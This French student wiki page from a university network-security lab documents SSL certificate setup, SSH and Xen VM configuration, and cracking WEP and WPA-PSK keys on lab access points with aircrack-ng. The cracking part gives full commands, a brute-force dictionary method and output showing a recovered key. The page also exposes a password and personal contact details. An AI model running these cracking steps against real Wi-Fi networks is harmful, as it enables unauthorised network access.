TP sysres IMA2a5 2021/2022 G8 : Différence entre versions
Ligne 1 : | Ligne 1 : | ||
+ | Génération de la clé SSL | ||
+ | |||
+ | Certificat SSL | ||
+ | |||
+ | Le SSL (Secure Socket Layer) / TLS (Transport Layer Security) est le protocole de sécurité le plus répandu qui créé un canal sécurisé entre deux machines communiquant sur Internet ou un réseau interne. Le protocole SSL est généralement utilisé lorsqu'un navigateur doit se connecter de manière sécurisée à un serveur web. | ||
+ | |||
+ | Tout d'abord, comme souvent pour les protocoles sécurisés (utiliser un processus de chiffremment), nous devons généner une paire de clefs .key et .csr. Pour cela on utilise la commande suivante : | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-fifa.key -out ima2a5-fifa.csr | ||
+ | |||
+ | Nous avons donc généré un jeu de 2 clefs privée et publique. | ||
+ | |||
+ | |||
+ | Argument explication | ||
+ | req Gestion X.509 Certificate Signing Request (CSR). | ||
+ | -nodes Pas de chiffrage sur la clef privée (option arbitraire no des) | ||
+ | -newkey rsa:2048 demande de Génération d'une paire de clef RSA de 2048 bits et d'une demande de certificat. | ||
+ | -keyout ima2a5-fifa.key spécification du nom de notre .key | ||
+ | -out ima2a5-fifa.csr spécification du nom de notre demande de certificat .csr | ||
+ | |||
+ | A la suite de la commande openssl, nous répondons à quelques questions afin de générer et d'obtenir le csr: | ||
+ | |||
+ | Country Name (2 letter code) [AU]:FR | ||
+ | State or Province Name (full name) [Some-State]:Nord | ||
+ | Locality Name (eg, city) []:Lille | ||
+ | Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille | ||
+ | Organizational Unit Name (eg, section) []:IMA2A5 | ||
+ | Common Name (e.g. server FQDN or YOUR name) []:ima2a5-fifa.site | ||
+ | Email Address []:quentin.maesen@polytech-lille.net | ||
+ | |||
+ | Please enter the following 'extra' attributes | ||
+ | to be sent with your certificate request | ||
+ | A challenge password []:glopglop! | ||
+ | Optionnal informations : | ||
+ | |||
+ | Notre clé publique est donc contenue dans le fichier ima2a5-fifa.csr. Ensuite cette clé publique doit être communiqué à notre registrar "Gandi" afin qu'il puisse valider ou non l'authenticité de notre site. Gandi peut utiliser plusieurs méthode pour certifier notre site. Nous avons choisi la méthode par "fichier". Pour cela nous devons fournir à Gandi un fichier temporaire et attendre qu'il soit validé. Une fois valider un certificat .csr et un certificat .pem sont générés. | ||
+ | |||
+ | Le protocole http écoute par défaut sur le port 80. Jusqu'ici notre serveur web écoutait donc sur son port 80 pour déceler d'éventuelles tentatives de connexion de la part des clients. Le protocole sécurisé https écoute lui sur le prot 443. Nous avons donc autorisé le serveur à écouter sur le 443 en plus du port 80 et effectué une redirection afin que les clients voulant se conecter via le protocole http soit automatiquement redirigé sur le port 443 afin d'utiliser le protocole https et donc de sécuriser la connexion. | ||
+ | Activation du module SSL | ||
+ | |||
+ | Tout d'abord nous devons activer le module SSL sur notre serveur Apache2, en créant un lien symbolique via a2en : | ||
+ | |||
+ | sudo a2enmod ssl | ||
+ | |||
+ | Puis il faut relancer le serveur avec la commande : | ||
+ | |||
+ | service apache2 restart | ||
+ | |||
+ | |||
'''Serveur connexion en SSH | '''Serveur connexion en SSH | ||
''' | ''' |
Version du 19 novembre 2021 à 11:58
Génération de la clé SSL
Certificat SSL
Le SSL (Secure Socket Layer) / TLS (Transport Layer Security) est le protocole de sécurité le plus répandu qui créé un canal sécurisé entre deux machines communiquant sur Internet ou un réseau interne. Le protocole SSL est généralement utilisé lorsqu'un navigateur doit se connecter de manière sécurisée à un serveur web.
Tout d'abord, comme souvent pour les protocoles sécurisés (utiliser un processus de chiffremment), nous devons généner une paire de clefs .key et .csr. Pour cela on utilise la commande suivante :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-fifa.key -out ima2a5-fifa.csr
Nous avons donc généré un jeu de 2 clefs privée et publique.
Argument explication
req Gestion X.509 Certificate Signing Request (CSR).
-nodes Pas de chiffrage sur la clef privée (option arbitraire no des)
-newkey rsa:2048 demande de Génération d'une paire de clef RSA de 2048 bits et d'une demande de certificat.
-keyout ima2a5-fifa.key spécification du nom de notre .key
-out ima2a5-fifa.csr spécification du nom de notre demande de certificat .csr
A la suite de la commande openssl, nous répondons à quelques questions afin de générer et d'obtenir le csr:
Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille Organizational Unit Name (eg, section) []:IMA2A5 Common Name (e.g. server FQDN or YOUR name) []:ima2a5-fifa.site Email Address []:quentin.maesen@polytech-lille.net Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:glopglop! Optionnal informations :
Notre clé publique est donc contenue dans le fichier ima2a5-fifa.csr. Ensuite cette clé publique doit être communiqué à notre registrar "Gandi" afin qu'il puisse valider ou non l'authenticité de notre site. Gandi peut utiliser plusieurs méthode pour certifier notre site. Nous avons choisi la méthode par "fichier". Pour cela nous devons fournir à Gandi un fichier temporaire et attendre qu'il soit validé. Une fois valider un certificat .csr et un certificat .pem sont générés.
Le protocole http écoute par défaut sur le port 80. Jusqu'ici notre serveur web écoutait donc sur son port 80 pour déceler d'éventuelles tentatives de connexion de la part des clients. Le protocole sécurisé https écoute lui sur le prot 443. Nous avons donc autorisé le serveur à écouter sur le 443 en plus du port 80 et effectué une redirection afin que les clients voulant se conecter via le protocole http soit automatiquement redirigé sur le port 443 afin d'utiliser le protocole https et donc de sécuriser la connexion. Activation du module SSL
Tout d'abord nous devons activer le module SSL sur notre serveur Apache2, en créant un lien symbolique via a2en :
sudo a2enmod ssl
Puis il faut relancer le serveur avec la commande :
service apache2 restart
Serveur connexion en SSH
2 adresse IP
1 addresse est routée -> 193.48.57.168
1 non routé -> 10.60.100.254
Le mot de passe par défaut étant vraiment compliqué, j'ai pu le changer avec passwd. Cependant, il m'était impossible de me connecter sur ma machine virtuelle. C'est pourquoi, j'ai également dû effectuer des changements dans les fichiers "/etc/ssh/ssh_config" (pour autoriser la connexion en ssh) et "/etc/network/interfaces" (pour changer l'adresse de la gateway). Il ne me restait plus qu'à redémarrer le service :
ifdown eth0 ifup eth0 service ssh restart
nano /etc/network/interfaces
On met : # The primary network interface auto eth0 iface eth0 inet6 auto
iface eth0 inet static address 10.60.100.168/24 up ip address add dev eth0 193.48.57.168/32 ; ip route add default via 10.60.100.254 src 193.48.57.168 down ip address del dev eth0 193.48.57.168/32 ; ip route del default via 10.60.100.254 src 193.48.57.168
Pour la configuration, 2 fichiers sont importants
ssh_config -> config client
sshd_config -> config serveur
"xen list" est util pour lister les VM actifs
Pour voir l'adresse Ip de notre machine virtuelle
ipa, on pourra se connecter dessus
Pour se connecter à la VM
xen create /etc/xen/Fifa.cfg xen console Fifa
Une fois configurée, ssh root@193.48.57.168
Ligne de code pour retrouver ton mot de passe de ta VM
tail -f /var/log/xen-tools.Fifa.log
Cassage de clef WEP d’un point d’accès WiFi
Penser à installer les packages lié à Air Crack.
apt-install aircrack-ng
Brancher une clé WiPi via un port USB. Trouver l'id du port USB ou vous avez branché la clé la commande.
lsusb
Pour passer la clé Wifi en mode monitor, il faut utiliser la fonction suivante.
airmon-ng
Une fois le port déterminé la commande suivante va nous permettre d'écouter toutes les trames Wifi du périphérique.
airodump-ng
Sélectionner un des réseau pour trouver le BSSID du groupe binôme. Laisser tourner l'interface en boucle pour maintenir les échanges Ip.
airodump-ng -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon
Dans un autre terminal, lancer la fonction de craquage.
aircrack-ng /tmp/cracotte01-01.cap
Patienter 10 à 15min pour obtenir un résultat
Cassage de clef WPA-PSK d’un point d’accès WiFi
Penser à vérifier que les packages Air Crack sont bien installés.
Listing de toutes les interfaces Wi-Fi
airmon-ng
On obtient la liste ci-dessous :
PHY Interface Driver Chipset phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
On passe la carte Wifi en mode monitor :
airmon-ng start wlx40a5ef0f679b
Suite à cela, l'interface wlx40a5ef0f679b est renommée en wlan0mon. Maintenant, si on réutilise airmon-ng pour lister de nouveaux des interfaces Wifi disponibles on obtient :
PHY Interface Driver Chipset phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370
Le nom de l'interface a donc bien été modifié.
On réutilise ensuite :
airodump-ng wlan0mon
dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 8 et que BSSID de la kracotte01 est 44:AD:D9:5F:87:00. J'ai donc pu filtré ma recherche de manière à n'observer que les trames qui passent vers kracotte avec :
airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon
Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "krakotte.txt". A ce moment, j'ai du attendre environ un quart d'heure.
Exécution de Aircrack sur différentes zabeth
Une fois le handshake récupéré, j'ai créé mon propre dictionnaire contenant l'ensemble des mots de passes potentiels. En effet, nous savions que le mot de passe n'était composé que de 8 chiffres aléatoires. J'ai donc dans un premier temps créé un dictionnaire, nommé Dico_krakotte01, contenant les 100 000 000 possibilités grâce à la simple commande
crunch 8 8 0123456789 >> Dico_krakotte01.txt
Cependant si je lançais la commande aircrack-ng tout de suite, ma machine mettrait un très long moment à trouver la clef en testant toutes les possibilités. Pour pallier ce problème, j'ai divisé mon dictionnaire en 5 fichiers distincts avec
split -b 200m Dico_krakotte01.txt
On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés
ls >> Dico_Krakotte01.txt xaa
Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.
Cassage de la clef WPA :
aircrack-ng -w xaa krakotte01.cap
Affichage de la recherche du mot de passe
Mot de passe trouvé
Aircrack-ng 1.5.2
[08:04:01] 66637843/102795810 keys tested (958.44 k/s)
Time left: 10 hours, 29 minutes, 3 seconds 64.83%
KEY FOUND! [ 66601666 ]
Master Key : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5
Transient Key : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5
EAPOL HMAC : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10